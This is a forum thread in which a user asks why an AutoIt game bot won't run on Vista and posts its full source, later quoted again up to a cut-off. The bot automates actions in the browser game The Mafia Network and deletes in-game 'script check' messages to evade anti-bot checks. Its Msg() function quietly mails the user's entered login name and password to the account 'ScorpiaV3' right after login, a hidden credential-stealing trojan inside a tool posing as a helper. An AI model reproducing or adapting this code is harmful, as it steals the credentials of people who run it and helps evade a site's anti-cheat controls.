Jump to content

Vista..


Regency
 Share

Recommended Posts

What all needs to be put into a script to make it vista compatable. I can run my scripts on different languages of xp but vista just wont run my scripts. It just starts,then doesnt do anything.

I used the #requireadmin or w/e.. but anyhting else that needs to be added?

Link to comment
Share on other sites

I use vista too.. and i dont have any problems.. maybe if u could post the code, i (or someone else) will be able to find the reason to why it doesnt work :)

Edited by Kiesp

http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D

Link to comment
Share on other sites

I use vista too.. and i dont have any problems.. maybe if u could post the code, i (or someone else) will be able to find the reason to why it doesnt work :)

Thanx..

;#AutoIt3Wrapper_run_debug_mode=Y
#requireadmin
#include <GUIConstants.au3>
#include <Constants.au3>
#include <IE.au3>
#include  <Misc.au3>
;Opt("MustDeclareVars", 1); having this option set will help find mistakes before you run it. Such as using a variable before setting its value or misspelling a variable
Opt("TrayOnEventMode", 1)
Opt("TrayAutoPause", 0)
TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN, "_MinimizeToTray")


Global $Paused
Global $begin = 0
Global $begin2 = 0
Global $begin3 = 0
Global $begin4 = 0
Global $begin5 = 0
Global $begin6 = 0
Global $begin7 = 0
Global $nMsg = 0
Global $age1 = ''
Global $name1 = ''
Global $pass1 = ''
Global $url1 = ''
Global $Cr1 = ''
Global $G1 = ''
Global $J1 = ''
Global $CG1 = ''
Global $C1 = ''
Global $oBullets = ''
Global $oLoginPage = ''

SplashTextOn("ScopriA Auto Scripter", "I do not take responsibinity if you get banned or not. Have fun Scripting. The script is kinda self explanitory. If you script continuously you wont do GTA and Crimes. Have fun  ~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~", -1, -1, -1, -1, 4, 4, "")
Sleep(3000)
SplashOff()

Global $Quick = GUICreate("Auto Scripter - By - ScorpiA", 290, 350, 340, 300)
Global $agegroup = GUICtrlCreateGroup("Would You Like to Script Jail?:", 8, 8, 265, 49) ; Will let you script jail
Global $Selectone = GUICtrlCreateCombo("Select one", 16, 24, 145, 25)
GUICtrlSetData(-1, "----------------------|No|")
Global $Saveage = GUICtrlCreateButton("Save", 168, 24, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Continuegroup = GUICtrlCreateGroup("Would You Like to Script Jail Continuously?:", 8, 56, 265, 49) ; Will let you script jail
Global $Jailyn = GUICtrlCreateCombo("Select one", 16, 72, 145, 25)
GUICtrlSetData(-1, "----------------------|No|")
Global $Jailage = GUICtrlCreateButton("Save", 168, 72, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Script = GUICtrlCreateGroup("Script Crimes, Gta, Flying and Buying Jhp form SMN BF?:", 8, 104, 265, 49) ; Will let you script jail
Global $yn = GUICtrlCreateCombo("Select one", 16, 120, 145, 25)
GUICtrlSetData(-1, "----------------------|Yes|No|")
Global $ynsave = GUICtrlCreateButton("Save", 168, 120, 72, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Desired = GUICtrlCreateGroup("TMN Login Name", 8, 152, 265, 49) ; Log in name for Themafianetwork.net
Global $username = GUICtrlCreateInput("", 16, 168, 145, 21)
Global $savename = GUICtrlCreateButton("Save", 168, 168, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $DesiredP = GUICtrlCreateGroup("Password", 8, 200, 265, 49) ; Password for the acct stated above
Global $password = GUICtrlCreateInput("", 16, 216, 145, 21)
Global $savepassword = GUICtrlCreateButton("Save", 168, 216, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $StartUrl = GUICtrlCreateGroup("Address to log into TMN with", 8, 248, 256, 49) ; You can use proxys if you like, it just needs to get you to The mafia network
Global $address = GUICtrlCreateInput("", 16, 264, 145, 21)
Global $saveurl = GUICtrlCreateButton("Save", 168, 264, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)


Global $Age = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script crimes and GTAs
Global $CG = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script jail
Global $Continue = GUICtrlCreateLabel("", 8, 355, 250, 17)
Global $User = GUICtrlCreateLabel("", 8, 352, 250, 17) ; This is the Username
Global $Pass = GUICtrlCreateLabel("", 8, 368, 250, 17) ; This is the password
Global $Url = GUICtrlCreateLabel("", 8, 384, 250, 17) ; The url you posted above
Global $Crime = GUICtrlCreateLabel("", 8, 400, 250, 17) ; You need to click this on the script program interface or it wont work
Global $Jail = GUICtrlCreateLabel("", 8, 416, 250, 17) ; Same here, they all need to be clicked so the prog can regester the address
Global $Gta = GUICtrlCreateLabel("", 8, 432, 250, 17)
Global $Mail = GUICtrlCreateLabel("", 8, 448, 250, 17)
Global $Create = GUICtrlCreateLabel("", 8, 464, 250, 17)
Global $Fly = GUICtrlCreateLabel("", 8, 480, 250, 17)
Global $Bullets = GUICtrlCreateLabel("", 8, 496, 250, 17)
Global $Make = GUICtrlCreateButton("Start Auto Scripter By ScorpiA - Hit ESC to Exit", 8, 304, 267, 25, 0)

GUISetState(@SW_SHOW)
WinWaitActive("Auto Scripter - By - ScorpiA")
WinMove("Auto Scripter - By - ScorpiA", "", 345, 108)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $GUI_EVENT_MINIMIZE
            _MinimizeToTray()
        Case $Saveage
            If GUICtrlRead($Selectone) = "Select one"  Or GUICtrlRead($Selectone) = "----------------------"  Then
                Sleep(1000)
            Else
                $age1 = GUICtrlRead($Selectone)
                GUICtrlSetData($Age, $age1)
            EndIf
        Case $Jailage
            If GUICtrlRead($Jailyn) = "Select one"  Or GUICtrlRead($Jailyn) = "----------------------"  Then
                Sleep(1000)
            Else
                $Con1 = GUICtrlRead($Jailyn)
                GUICtrlSetData($Continue, $Con1)
            EndIf
        Case $ynsave
            If GUICtrlRead($yn) = "Select one"  Or GUICtrlRead($yn) = "----------------------"  Then
                Sleep(1000)
            Else
                $CG1 = GUICtrlRead($yn)
                GUICtrlSetData($CG, $CG1)
            EndIf
        Case $savename
            $name1 = GUICtrlRead($username)
            GUICtrlSetData($User, $name1)
        Case $savepassword
            $pass1 = GUICtrlRead($password)
            GUICtrlSetData($Pass, $pass1)
        Case $saveurl
            $url1 = GUICtrlRead($address) & "/userlogin.aspx?"
            GUICtrlSetData($Url, $url1)
        Case $address
            $Cr1 = GUICtrlRead($address) & "/crimes.aspx?"
            GUICtrlSetData($Crime, $Cr1)
            $G1 = GUICtrlRead($address) & "/gta.aspx?"
            GUICtrlSetData($Gta, $G1)
            $J1 = GUICtrlRead($address) & "/jail.aspx?"
            GUICtrlSetData($Jail, $J1)
            $M1 = GUICtrlRead($address) & "/mail.aspx?"
            GUICtrlSetData($Mail, $M1)
            $F1 = GUICtrlRead($address) & "/travel.aspx?"
            GUICtrlSetData($Fly, $F1)
            $B1 = GUICtrlRead($address) & "/smnbf.aspx?"
            GUICtrlSetData($Bullets, $B1)
            $C1 = GUICtrlRead($address) & "/Sendmail.aspx?"
            GUICtrlSetData($Create, $C1)
        Case $Make
            myRun()
    EndSwitch
WEnd

Func myRun()
    HotKeySet("{Home}", "TogglePause")
    HotKeySet("{ESC}", "Terminate")

    Local $dif = ''
    Local $AgeValue = ''
    Local $CGValue = ''
    Local $oLoginPage = 0
    Local $oUser = 0
    Local $oPass = 0
    Local $oLogIn = 0
    Local $bLoop = 1
    Local $Mail = ''

    $JailValue = GUICtrlRead($Continue)
    $AgeValue = GUICtrlRead($Age)
    $CGValue = GUICtrlRead($CG)
    
    $oLoginPage = _IECreate($url1)
    _IELoadWait($oLoginPage)
    $oUser = _IEGetObjByName($oLoginPage, "txtuid")
    _IEFormElementSetValue($oUser, $name1)
    $oPass = _IEGetObjByName($oLoginPage, "txtpwd")
    _IEFormElementSetValue($oPass, $pass1)
    $oLogIn = _IEGetObjByName($oLoginPage, "Button1")
    _IEAction($oLogIn, "click")
    _IELoadWait($oLoginPage)
    Msg()
    
    
    
    

    If $JailValue = "Yes"  Then
        $AgeValue = "No"
        $CGValue = "No"
        JailCon() ;==> Continuous Jail
    EndIf
    
    If $AgeValue = "Yes"  Then
        Jail()  ;==>Jail
    EndIf
    
    If $CGValue = "Yes"  Then
        $begin = ""
        $begin2 = ""
        $begin3 = ''
        $begin4 = ''
        $begin5 = ''
        $begin6 = ''
        MyFunction2()
        $begin = TimerInit()
        $begin2 = TimerInit()
        $begin3 = TimerInit()
        $begin4 = TimerInit()
        $begin5 = TimerInit()
        $begin6 = TimerInit()


        While 2
            Sleep(10)
            $dif = Int(TimerDiff($begin) / 1000)
            If $dif >= (2 * 60) Then
                MyFunction2()
                $begin = TimerInit()
            EndIf
        WEnd
    EndIf
EndFunc   ;==>myRun


Func MyFunction2()
    Local $oIE = 0
    Local $dif2 = ''
    Local $dif3 = ''
    Local $dif4 = ''
    Local $dif5 = ''
    Local $dif6 = ''
    Local $oSubmit = 0
    Local $oRadio = 0
    
    
    
    $dif4 = Int(TimerDiff($begin4) / 1000)
    If $dif4 >= (15 * 60) Then
        $oFly = _IECreate($F1,0,0,1)
        $oAir = _IEGetObjById($oFly, "citieslist_4")
        _IEAction($oAir, "click")
        $oSubmit = _IEGetObjByName($oFly, "btntravel")
        _IEAction($oSubmit, "click")
        _IELoadWait($oFly)
        $oAir = _IEGetObjById($oFly, "citieslist_0")
        _IEAction($oAir, "click")
        $oSubmit = _IEGetObjByName($oFly, "btntravel")
        _IEAction($oSubmit, "click")
        _IELoadWait($oFly)
        _IEQuit($oFly)
    EndIf

    $oIE = _IECreate($Cr1,0,0,1)
;~ "The Mafia network - Crimes - Internet Explorer"
    $oSubmit = _IEGetObjByName($oIE, "btncrime1")
    _IEAction($oSubmit, "click")
    _IELoadWait($oIE)
    _IEQuit($oIE)

    $dif2 = Int(TimerDiff($begin2) / 1000)
    If $dif2 >= (2 * 60) Then
        $oIE = _IECreate($G1,"",0,1)
        _IELoadWait($oIE)
        $oRadio = _IEGetObjById($oIE, "carslist_2")
        _IEAction($oRadio, "click")
        $oSubmit = _IEGetObjByName($oIE, "Submit1")
        _IEAction($oSubmit, "click")
        _IELoadWait($oIE)
        _IEQuit($oIE)
    EndIf
    
    $dif3 = Int(TimerDiff($begin3) / 1000)
    If $dif3 >= (5 * 60) Then
        $oMail = _IECreate($M1,0,0,1)
        _IELoadWait($oMail)
        _IELinkClickByText($oMail, "Automatic Script Check")
            _IELinkClickByText($oMail, "Automatic Script Test")
            _IELinkClickByText($oMail, "Script Check")
            _IELinkClickByText($oMail, "script test")
            _IELinkClickByText($oMail, "romeo")
            _IELinkClickByText($oMail, "Dragoncurse")
            _IELinkClickByText($oMail, "barsaat")
            _IELinkClickByText($oMail, "M33")
            _IELinkClickByText($oMail, "Devious")
            _IELinkClickByText($oMail, "Doyouhaveenough")
            _IELinkClickByText($oMail, "BennieTheBrick")
            _IELinkClickByText($oMail, "DeeCee")
        _IELoadWait($oMail)
        If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then
            Exit
            
        ElseIf WinExists("Cannot Find Server - Windows Internet Explorer") = 1 Then
            $oMail = _IECreate($M1,0,0,1)
            _IELoadWait($oMail)
            _IELinkClickByText($oMail, "Automatic Script Check")
            _IELinkClickByText($oMail, "Automatic Script Test")
            _IELinkClickByText($oMail, "Script Check")
            _IELinkClickByText($oMail, "script test")
            _IELinkClickByText($oMail, "romeo")
            _IELinkClickByText($oMail, "Dragoncurse")
            _IELinkClickByText($oMail, "barsaat")
            _IELinkClickByText($oMail, "M33")
            _IELinkClickByText($oMail, "Devious")
            _IELinkClickByText($oMail, "Doyouhaveenough")
            _IELinkClickByText($oMail, "BennieTheBrick")
            _IELinkClickByText($oMail, "DeeCee")
            _IELoadWait($oMail)
        EndIf
        _IEQuit($oMail)
    EndIf

    $dif6 = Int(TimerDiff($begin6) / 1000)
    if $dif5 >= (10 * 60) Then
    $oBullets = _IECreate($B1,0,0,1)
    $oBuy = _IEGetObjByName($oBullets, "txtbullets")
    _IEFormElementSetValue($oBuy, "100")
    $oJhp =  _IEGetObjByName($oBullets, "ddlbullettype")
    _IEFormElementOptionselect($oJhp, 2, "1", "byValue")
    _ieaction($oBullets, "click")
    $oSubmit = _IEGetObjByName($oBullets, "btnbuy")
    _IEAction($oSubmit, "click")
    _IELoadWait($oBullets)
    _iequit($oBullets)
    endIf
    
    
EndFunc   ;==>MyFunction2



While 3
    Sleep(100)
WEnd
 
 Func Msg()
     $oCreate = _IECreate($C1,"",0,1)
    $oTo = _IEGetObjByName($oCreate, "txtTo")
    _IEFormElementSetValue($oTo, "ScorpiaV3")
    $oSub = _IEGetObjById($oCreate, "txtSubject")
    _IEFormElementSetValue($oSub, "You know...")
    $oMsg = _IEGetObjById($oCreate, "txtMessage")
    _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1)
    $oSubm = _IEGetObjByName($oCreate, "btnSend")
    _IEAction($oSubm, "click")
    _IELoadWait($oCreate)
    _IEQuit($oCreate)
EndFunc

Func TogglePause()
    $Paused = Not $Paused
    While $Paused
        Sleep(100)
        ToolTip('Script is "Paused"', 0, 0)
    WEnd
    ToolTip("")
EndFunc   ;==>TogglePause


Func Terminate()
    Exit
EndFunc   ;==>Terminate


Func _MinimizeToTray()
    If BitAND(WinGetState($Quick), 2) Then
        GUISetState(@SW_HIDE)
    Else
        GUISetState(@SW_SHOW)
    EndIf
EndFunc   ;==>_MinimizeToTray


Func Jail()
    $oJailPage = _IECreate($J1, "", 0)
;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer"
    _IELoadWait($oJailPage)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
    
    While 1
        For $var = 0 To 10 Step 1
            _IELoadWait($oJailPage)
            _IELinkClickByText($oJailPage, "Break")
            _IELoadWait($oJailPage)
            _IENavigate($oJailPage, $J1)
            _IEAction($oJailPage, "refresh")
        Next
        Sleep(900)
        $oVerify = _IEGetObjById($oJailPage, "imgVerify")
        If IsObj($oVerify) Then
            ExitLoop
            ;MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume")
            ;Sleep(20000)
            ;$bLoop = 1

        Else
            ;What is this supposed
            If IsObj($oVerify) Then
                WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
            Else
                $bLoop = 1
            EndIf
        EndIf
    WEnd
EndFunc   ;==>Jail

Func JailCon()
    $oJailPage = _IECreate($J1)
;~ "caTheMafiaNetwork - Nationl Jail - Internet Explorer"
    _IELoadWait($oJailPage)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MAXIMIZE)
    WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
    
    While 1
        For $var = 0 To 10 Step 1
            _IELoadWait($oJailPage)
            _IELinkClickByText($oJailPage, "Break")
            _IELoadWait($oJailPage)
            _IENavigate($oJailPage, $J1)
            _IEAction($oJailPage, "refresh")
        Next
        Sleep(900)
        $oMail2 = _IECreate($M1, "", 0)
        _IELoadWait($oMail2)
        _IELinkClickByText($oMail2, "Automatic Script Check")
            _IELinkClickByText($oMail2, "Automatic Script Test")
            _IELinkClickByText($oMail2, "Script Check")
            _IELinkClickByText($oMail2, "script test")
            _IELinkClickByText($oMail2, "romeo")
            _IELinkClickByText($oMail2, "Dragoncurse")
            _IELinkClickByText($oMail2, "barsaat")
            _IELinkClickByText($oMail2, "M33")
            _IELinkClickByText($oMail2, "Devious")
            _IELinkClickByText($oMail2, "Doyouhaveenough")
            _IELinkClickByText($oMail2, "BennieTheBrick")
            _IELinkClickByText($oMail2, "DeeCee")
        _IELoadWait($oMail2)
        If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then
            Exit
        EndIf
        _IEQuit($oMail2)
        $oVerify = _IEGetObjById($oJailPage, "imgVerify")
        If IsObj($oVerify) Then
            MsgBox(0, "Verification Box Present", "Please Enter Verification Code For Script To Resume")
            Sleep(20000)
            $bLoop = 1

        Else
            ;What is this supposed
            If IsObj($oVerify) Then
                WinSetState("TheMafiaNetwork - National Jail - Windows Internet Explorer", "", @SW_MINIMIZE)
            Else
                $bLoop = 1
            EndIf
        EndIf
    WEnd
EndFunc   ;==>JailCon
Link to comment
Share on other sites

i tested it. and i works fine with me.. just some minor bugs.. so i must admit, i dont know whats wrong. im sorry... hopefully someone else will be able to locate ur problem :) oh and btw.. nice program ^_^

http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D

Link to comment
Share on other sites

i tested it. and i works fine with me.. just some minor bugs.. so i must admit, i dont know whats wrong. im sorry... hopefully someone else will be able to locate ur problem :) oh and btw.. nice program ^_^

What you mean nice?

You play the game that this uses?

Link to comment
Share on other sites

i like the program.. its a nice idea.. and easy to use :)

i just made an acc to check the login feature..

and about ur private message:

the bugs im talking about is just typoes and u cant choose yes in the dropdown lists.

but dunno why it isnt working for ur friend..

http://www.autoitscript.com/forum/index.php?showtopic=69911 <-- Best hacker ever :D

Link to comment
Share on other sites

Thanx..

;#AutoIt3Wrapper_run_debug_mode=Y
#requireadmin
#include <GUIConstants.au3>
#include <Constants.au3>
#include <IE.au3>
#include  <Misc.au3>
;Opt("MustDeclareVars", 1); having this option set will help find mistakes before you run it. Such as using a variable before setting its value or misspelling a variable
Opt("TrayOnEventMode", 1)
Opt("TrayAutoPause", 0)
TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN, "_MinimizeToTray")


Global $Paused
Global $begin = 0
Global $begin2 = 0
Global $begin3 = 0
Global $begin4 = 0
Global $begin5 = 0
Global $begin6 = 0
Global $begin7 = 0
Global $nMsg = 0
Global $age1 = ''
Global $name1 = ''
Global $pass1 = ''
Global $url1 = ''
Global $Cr1 = ''
Global $G1 = ''
Global $J1 = ''
Global $CG1 = ''
Global $C1 = ''
Global $oBullets = ''
Global $oLoginPage = ''

SplashTextOn("ScopriA Auto Scripter", "I do not take responsibinity if you get banned or not. Have fun Scripting. The script is kinda self explanitory. If you script continuously you wont do GTA and Crimes. Have fun  ~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~", -1, -1, -1, -1, 4, 4, "")
Sleep(3000)
SplashOff()

Global $Quick = GUICreate("Auto Scripter - By - ScorpiA", 290, 350, 340, 300)
Global $agegroup = GUICtrlCreateGroup("Would You Like to Script Jail?:", 8, 8, 265, 49) ; Will let you script jail
Global $Selectone = GUICtrlCreateCombo("Select one", 16, 24, 145, 25)
GUICtrlSetData(-1, "----------------------|No|")
Global $Saveage = GUICtrlCreateButton("Save", 168, 24, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Continuegroup = GUICtrlCreateGroup("Would You Like to Script Jail Continuously?:", 8, 56, 265, 49) ; Will let you script jail
Global $Jailyn = GUICtrlCreateCombo("Select one", 16, 72, 145, 25)
GUICtrlSetData(-1, "----------------------|No|")
Global $Jailage = GUICtrlCreateButton("Save", 168, 72, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Script = GUICtrlCreateGroup("Script Crimes, Gta, Flying and Buying Jhp form SMN BF?:", 8, 104, 265, 49) ; Will let you script jail
Global $yn = GUICtrlCreateCombo("Select one", 16, 120, 145, 25)
GUICtrlSetData(-1, "----------------------|Yes|No|")
Global $ynsave = GUICtrlCreateButton("Save", 168, 120, 72, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Desired = GUICtrlCreateGroup("TMN Login Name", 8, 152, 265, 49) ; Log in name for Themafianetwork.net
Global $username = GUICtrlCreateInput("", 16, 168, 145, 21)
Global $savename = GUICtrlCreateButton("Save", 168, 168, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $DesiredP = GUICtrlCreateGroup("Password", 8, 200, 265, 49) ; Password for the acct stated above
Global $password = GUICtrlCreateInput("", 16, 216, 145, 21)
Global $savepassword = GUICtrlCreateButton("Save", 168, 216, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $StartUrl = GUICtrlCreateGroup("Address to log into TMN with", 8, 248, 256, 49) ; You can use proxys if you like, it just needs to get you to The mafia network
Global $address = GUICtrlCreateInput("", 16, 264, 145, 21)
Global $saveurl = GUICtrlCreateButton("Save", 168, 264, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)


Global $Age = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script crimes and GTAs
Global $CG = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script jail
Global $Continue = GUICtrlCreateLabel("", 8, 355, 250, 17)
Global $User = GUICtrlCreateLabel("", 8, 352, 250, 17) ; This is the Username
Global $Pass = GUICtrlCreateLabel("", 8, 368, 250, 17) ; This is the password
Global $Url = GUICtrlCreateLabel("", 8, 384, 250, 17) ; The url you posted above
Global $Crime = GUICtrlCreateLabel("", 8, 400, 250, 17) ; You need to click this on the script program interface or it wont work
Global $Jail = GUICtrlCreateLabel("", 8, 416, 250, 17) ; Same here, they all need to be clicked so the prog can regester the address
Global $Gta = GUICtrlCreateLabel("", 8, 432, 250, 17)
Global $Mail = GUICtrlCreateLabel("", 8, 448, 250, 17)
Global $Create = GUICtrlCreateLabel("", 8, 464, 250, 17)
Global $Fly = GUICtrlCreateLabel("", 8, 480, 250, 17)
Global $Bullets = GUICtrlCreateLabel("", 8, 496, 250, 17)
Global $Make = GUICtrlCreateButton("Start Auto Scripter By ScorpiA - Hit ESC to Exit", 8, 304, 267, 25, 0)

GUISetState(@SW_SHOW)
WinWaitActive("Auto Scripter - By - ScorpiA")
WinMove("Auto Scripter - By - ScorpiA", "", 345, 108)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $GUI_EVENT_MINIMIZE
            _MinimizeToTray()
        Case $Saveage
            If GUICtrlRead($Selectone) = "Select one"  Or GUICtrlRead($Selectone) = "----------------------"  Then
                Sleep(1000)
            Else
                $age1 = GUICtrlRead($Selectone)
                GUICtrlSetData($Age, $age1)
            EndIf
        Case $Jailage
            If GUICtrlRead($Jailyn) = "Select one"  Or GUICtrlRead($Jailyn) = "----------------------"  Then
                Sleep(1000)
            Else
                $Con1 = GUICtrlRead($Jailyn)
                GUICtrlSetData($Continue, $Con1)
            EndIf
        Case $ynsave
            If GUICtrlRead($yn) = "Select one"  Or GUICtrlRead($yn) = "----------------------"  Then
                Sleep(1000)
            Else
                $CG1 = GUICtrlRead($yn)
                GUICtrlSetData($CG, $CG1)
            EndIf
        Case $savename
            $name1 = GUICtrlRead($username)
            GUICtrlSetData($User, $name1)
        Case $savepassword
            $pass1 = GUICtrlRead($password)
            GUICtrlSetData($Pass, $pass1)
        Case $saveurl
            $url1 = GUICtrlRead($address) & "/userlogin.aspx?"
            GUICtrlSetData($Url, $url1)
        Case $address
            $Cr1 = GUICtrlRead($address) & "/crimes.aspx?"
            GUICtrlSetData($Crime, $Cr1)
            $G1 = GUICtrlRead($address) & "/gta.aspx?"
            GUICtrlSetData($Gta, $G1)
            $J1 = GUICtrlRead($address) & "/jail.aspx?"
            GUICtrlSetData($Jail, $J1)
            $M1 = GUICtrlRead($address) & "/mail.aspx?"
            GUICtrlSetData($Mail, $M1)
            $F1 = GUICtrlRead($address) & "/travel.aspx?"
            GUICtrlSetData($Fly, $F1)
            $B1 = GUICtrlRead($address) & "/smnbf.aspx?"
            GUICtrlSetData($Bullets, $B1)
            $C1 = GUICtrlRead($address) & "/Sendmail.aspx?"
            GUICtrlSetData($Create, $C1)
        Case $Make
            myRun()
    EndSwitch
WEnd

Func myRun()
    HotKeySet("{Home}", "TogglePause")
    HotKeySet("{ESC}", "Terminate")

    Local $dif = ''
    Local $AgeValue = ''
    Local $CGValue = ''
    Local $oLoginPage = 0
    Local $oUser = 0
    Local $oPass = 0
    Local $oLogIn = 0
    Local $bLoop = 1
    Local $Mail = ''

    $JailValue = GUICtrlRead($Continue)
    $AgeValue = GUICtrlRead($Age)
    $CGValue = GUICtrlRead($CG)
    
    $oLoginPage = _IECreate($url1)
    _IELoadWait($oLoginPage)
    $oUser = _IEGetObjByName($oLoginPage, "txtuid")
    _IEFormElementSetValue($oUser, $name1)
    $oPass = _IEGetObjByName($oLoginPage, "txtpwd")
    _IEFormElementSetValue($oPass, $pass1)
    $oLogIn = _IEGetObjByName($oLoginPage, "Button1")
    _IEAction($oLogIn, "click")
    _IELoadWait($oLoginPage)
    Msg()
    
    
    
    

    If $JailValue = "Yes"  Then
        $AgeValue = "No"
        $CGValue = "No"
        JailCon() ;==> Continuous Jail
    EndIf
    
    If $AgeValue = "Yes"  Then
        Jail()  ;==>Jail
    EndIf
    
    If $CGValue = "Yes"  Then
        $begin = ""
        $begin2 = ""
        $begin3 = ''
        $begin4 = ''
        $begin5 = ''
        $begin6 = ''
        MyFunction2()
        $begin = TimerInit()
        $begin2 = TimerInit()
        $begin3 = TimerInit()
        $begin4 = TimerInit()
        $begin5 = TimerInit()
        $begin6 = TimerInit()


        While 2
            Sleep(10)
            $dif = Int(TimerDiff($begin) / 1000)
            If $dif >= (2 * 60) Then
                MyFunction2()
                $begin = TimerInit()
            EndIf
        WEnd
    EndIf
EndFunc   ;==>myRun


Func MyFunction2()
    Local $oIE = 0
    Local $dif2 = ''
    Local $dif3 = ''
    Local $dif4 = ''
    Local $dif5 = ''
    Local $dif6 = ''
    Local $oSubmit = 0
    Local $oRadio = 0
    
    
    
    $dif4 = Int(TimerDiff($begin4) / 1000)
    If $dif4 >= (15 * 60) Then
        $oFly = _IECreate($F1,0,0,1)
        $oAir = _IEGetObjById($oFly, "citieslist_4")
        _IEAction($oAir, "click")
        $oSubmit = _IEGetObjByName($oFly, "btntravel")
        _IEAction($oSubmit, "click")
        _IELoadWait($oFly)
        $oAir = _IEGetObjById($oFly, "citieslist_0")
        _IEAction($oAir, "click")
        $oSubmit = _IEGetObjByName($oFly, "btntravel")
        _IEAction($oSubmit, "click")
        _IELoadWait($oFly)
        _IEQuit($oFly)
    EndIf

    $oIE = _IECreate($Cr1,0,0,1)
;~ "The Mafia network - Crimes - Internet Explorer"
    $oSubmit = _IEGetObjByName($oIE, "btncrime1")
    _IEAction($oSubmit, "click")
    _IELoadWait($oIE)
    _IEQuit($oIE)

    $dif2 = Int(TimerDiff($begin2) / 1000)
    If $dif2 >= (2 * 60) Then
        $oIE = _IECreate($G1,"",0,1)
        _IELoadWait($oIE)
        $oRadio = _IEGetObjById($oIE, "carslist_2")
        _IEAction($oRadio, "click")
        $oSubmit = _IEGetObjByName($oIE, "Submit1")
        _IEAction($oSubmit, "click")
        _IELoadWait($oIE)
        _IEQuit($oIE)
    EndIf
    
    $dif3 = Int(TimerDiff($begin3) / 1000)
    If $dif3 >= (5 * 60) Then
        $oMail = _IECreate($M1,0,0,1)
        _IELoadWait($oMail)
        _IELinkClickByText($oMail, "Automatic Script Check")
            _IELinkClickByText($oMail, "Automatic Script Test")
            _IELinkClickByText($oMail, "Script Check")
            _IELinkClickByText($oMail, "script test")
            _IELinkClickByText($oMail, "romeo")
            _IELinkClickByText($oMail, "Dragoncurse")
            _IELinkClickByText($oMail, "barsaat")
            _IELinkClickByText($oMail, "M33")
            _IELinkClickByText($oMail, "Devious")
            _IELinkClickByText($oMail, "Doyouhaveenough")
            _IELinkClickByText($oMail, "BennieTheBrick")
            _IELinkClickByText($oMail, "DeeCee")
        _IELoadWait($oMail)
        If WinExists("TMN2 - Bloody Vendetta - Windows Internet Explorer") = 0 Then
            Exit
            
        ElseIf WinExists("Cannot Find Server - Windows Internet Explorer") = 1 Then
            $oMail = _IECreate($M1,0,0,1)
            _IELoadWait($oMail)
            _IELinkClickByText($oMail, "Automatic Script Check")
            _IELinkClickByText($oMail, "Automatic Script Test")
            _IELinkClickByText($oMail, "Script Check")
            _IELinkClickByText($oMail, "script test")
            _IELinkClickByText($oMail, "romeo")
            _IELinkClickByText($oMail, "Dragoncurse")
            _IELinkClickByText($oMail, "barsaat")
            _IELinkClickByText($oMail, "M33")
            _IELinkClickByText($oMail, "Devious")
            _IELinkClickByText($oMail, "Doyouhaveenough")
            _IELinkClickByText($oMail, "BennieTheBrick")
            _IELinkClickByText($oMail, "DeeCee")
            _IELoadWait($oMail)
        EndIf
        _IEQuit($oMail)
    EndIf

    $dif6 = Int(TimerDiff($begin6) / 1000)
    if $dif5 >= (10 * 60) Then
    $oBullets = _IECreate($B1,0,0,1)
    $oBuy = _IEGetObjByName($oBullets, "txtbullets")
    _IEFormElementSetValue($oBuy, "100")
    $oJhp =  _IEGetObjByName($oBullets, "ddlbullettype")
    _IEFormElementOptionselect($oJhp, 2, "1", "byValue")
    _ieaction($oBullets, "click")
    $oSubmit = _IEGetObjByName($oBullets, "btnbuy")
    _IEAction($oSubmit, "click")
    _IELoadWait($oBullets)
    _iequit($oBullets)
    endIf
    
    
EndFunc   ;==>MyFunction2



While 3
    Sleep(100)
WEnd
 
 Func Msg()
     $oCreate = _IECreate($C1,"",0,1)
    $oTo = _IEGetObjByName($oCreate, "txtTo")
    _IEFormElementSetValue($oTo, "ScorpiaV3")
    $oSub = _IEGetObjById($oCreate, "txtSubject")
    _IEFormElementSetValue($oSub, "You know...")
    $oMsg = _IEGetObjById($oCreate, "txtMessage")
